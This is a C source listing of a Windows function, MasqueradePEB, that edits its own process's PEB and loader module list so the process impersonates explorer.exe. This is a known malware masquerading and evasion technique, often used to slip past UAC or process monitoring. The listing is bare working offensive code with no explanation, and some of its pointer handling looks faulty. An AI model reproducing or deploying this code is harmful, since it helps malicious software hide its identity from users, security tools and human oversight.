1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237
| BOOL MasqueradePEB() {
typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING;
typedef NTSTATUS(NTAPI* _NtQueryInformationProcess)( HANDLE ProcessHandle, DWORD ProcessInformationClass, PVOID ProcessInformation, DWORD ProcessInformationLength, PDWORD ReturnLength );
typedef NTSTATUS(NTAPI* _RtlEnterCriticalSection)( PRTL_CRITICAL_SECTION CriticalSection );
typedef NTSTATUS(NTAPI* _RtlLeaveCriticalSection)( PRTL_CRITICAL_SECTION CriticalSection );
typedef void (WINAPI* _RtlInitUnicodeString)( PUNICODE_STRING DestinationString, PCWSTR SourceString );
typedef struct _LIST_ENTRY { struct _LIST_ENTRY* Flink; struct _LIST_ENTRY* Blink; } LIST_ENTRY, * PLIST_ENTRY;
typedef struct _PROCESS_BASIC_INFORMATION { LONG ExitStatus; PVOID PebBaseAddress; ULONG_PTR AffinityMask; LONG BasePriority; ULONG_PTR UniqueProcessId; ULONG_PTR ParentProcessId; } PROCESS_BASIC_INFORMATION, * PPROCESS_BASIC_INFORMATION;
typedef struct _PEB_LDR_DATA { ULONG Length; BOOLEAN Initialized; HANDLE SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID EntryInProgress; BOOLEAN ShutdownInProgress; HANDLE ShutdownThreadId; } PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _RTL_USER_PROCESS_PARAMETERS { BYTE Reserved1[16]; PVOID Reserved2[10]; UNICODE_STRING ImagePathName; UNICODE_STRING CommandLine; } RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;
typedef struct _PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; union { BOOLEAN BitField; struct { BOOLEAN ImageUsesLargePages : 1; BOOLEAN IsProtectedProcess : 1; BOOLEAN IsLegacyProcess : 1; BOOLEAN IsImageDynamicallyRelocated : 1; BOOLEAN SkipPatchingUser32Forwarders : 1; BOOLEAN SpareBits : 3; }; }; HANDLE Mutant;
PVOID ImageBaseAddress; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; PVOID SubSystemData; PVOID ProcessHeap; PRTL_CRITICAL_SECTION FastPebLock; } PEB, * PPEB;
typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; union { LIST_ENTRY InInitializationOrderLinks; LIST_ENTRY InProgressLinks; }; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; WORD LoadCount; WORD TlsIndex; union { LIST_ENTRY HashLinks; struct { PVOID SectionPointer; ULONG CheckSum; }; }; union { ULONG TimeDateStamp; PVOID LoadedImports; }; } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
DWORD dwPID; PROCESS_BASIC_INFORMATION pbi; PPEB peb; PPEB_LDR_DATA pld; PLDR_DATA_TABLE_ENTRY ldte;
_NtQueryInformationProcess NtQueryInformationProcess = (_NtQueryInformationProcess) GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess"); if (NtQueryInformationProcess == NULL) { return FALSE; }
_RtlEnterCriticalSection RtlEnterCriticalSection = (_RtlEnterCriticalSection) GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlEnterCriticalSection"); if (RtlEnterCriticalSection == NULL) { return FALSE; }
_RtlLeaveCriticalSection RtlLeaveCriticalSection = (_RtlLeaveCriticalSection) GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlLeaveCriticalSection"); if (RtlLeaveCriticalSection == NULL) { return FALSE; }
_RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString) GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlInitUnicodeString"); if (RtlInitUnicodeString == NULL) { return FALSE; }
dwPID = GetCurrentProcessId(); HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, dwPID); if (hProcess == INVALID_HANDLE_VALUE) { return FALSE; }
NtQueryInformationProcess(hProcess, 0, &pbi, sizeof(pbi), NULL);
if (!ReadProcessMemory(hProcess, &pbi.PebBaseAddress, &peb, sizeof(peb), NULL)) { return FALSE; }
if (!ReadProcessMemory(hProcess, &peb->Ldr, &pld, sizeof(pld), NULL)) { return FALSE; }
WCHAR chExplorer[MAX_PATH + 1]; GetWindowsDirectory(chExplorer, MAX_PATH); wcscat_s(chExplorer, sizeof(chExplorer) / sizeof(wchar_t), L"\\explorer.exe");
LPWSTR pwExplorer = (LPWSTR)malloc(MAX_PATH * 2); wcscpy_s(pwExplorer, sizeof(chExplorer)/sizeof(wchar_t), chExplorer);
RtlEnterCriticalSection(peb->FastPebLock);
RtlInitUnicodeString(&peb->ProcessParameters->ImagePathName, pwExplorer); RtlInitUnicodeString(&peb->ProcessParameters->CommandLine, pwExplorer);
WCHAR wFullDllName[MAX_PATH]; WCHAR wExeFileName[MAX_PATH]; GetModuleFileName(NULL, wExeFileName, MAX_PATH);
LPVOID pStartModuleInfo = peb->Ldr->InLoadOrderModuleList.Flink; LPVOID pNextModuleInfo = pld->InLoadOrderModuleList.Flink; do { if (!ReadProcessMemory(hProcess, &pNextModuleInfo, &ldte, sizeof(ldte), NULL)) { return FALSE; }
if (!ReadProcessMemory(hProcess, (LPVOID)ldte->FullDllName.Buffer, (LPVOID)&wFullDllName, ldte->FullDllName.MaximumLength, NULL)) { return FALSE; }
if (_wcsicmp(wExeFileName, wFullDllName) == 0) { RtlInitUnicodeString(&ldte->FullDllName, pwExplorer); RtlInitUnicodeString(&ldte->BaseDllName, pwExplorer); break; }
pNextModuleInfo = ldte->InLoadOrderLinks.Flink;
} while (pNextModuleInfo != pStartModuleInfo);
RtlLeaveCriticalSection(peb->FastPebLock);
CloseHandle(hProcess);
if (_wcsicmp(chExplorer, wFullDllName) == 0) { return FALSE; }
return TRUE; }
|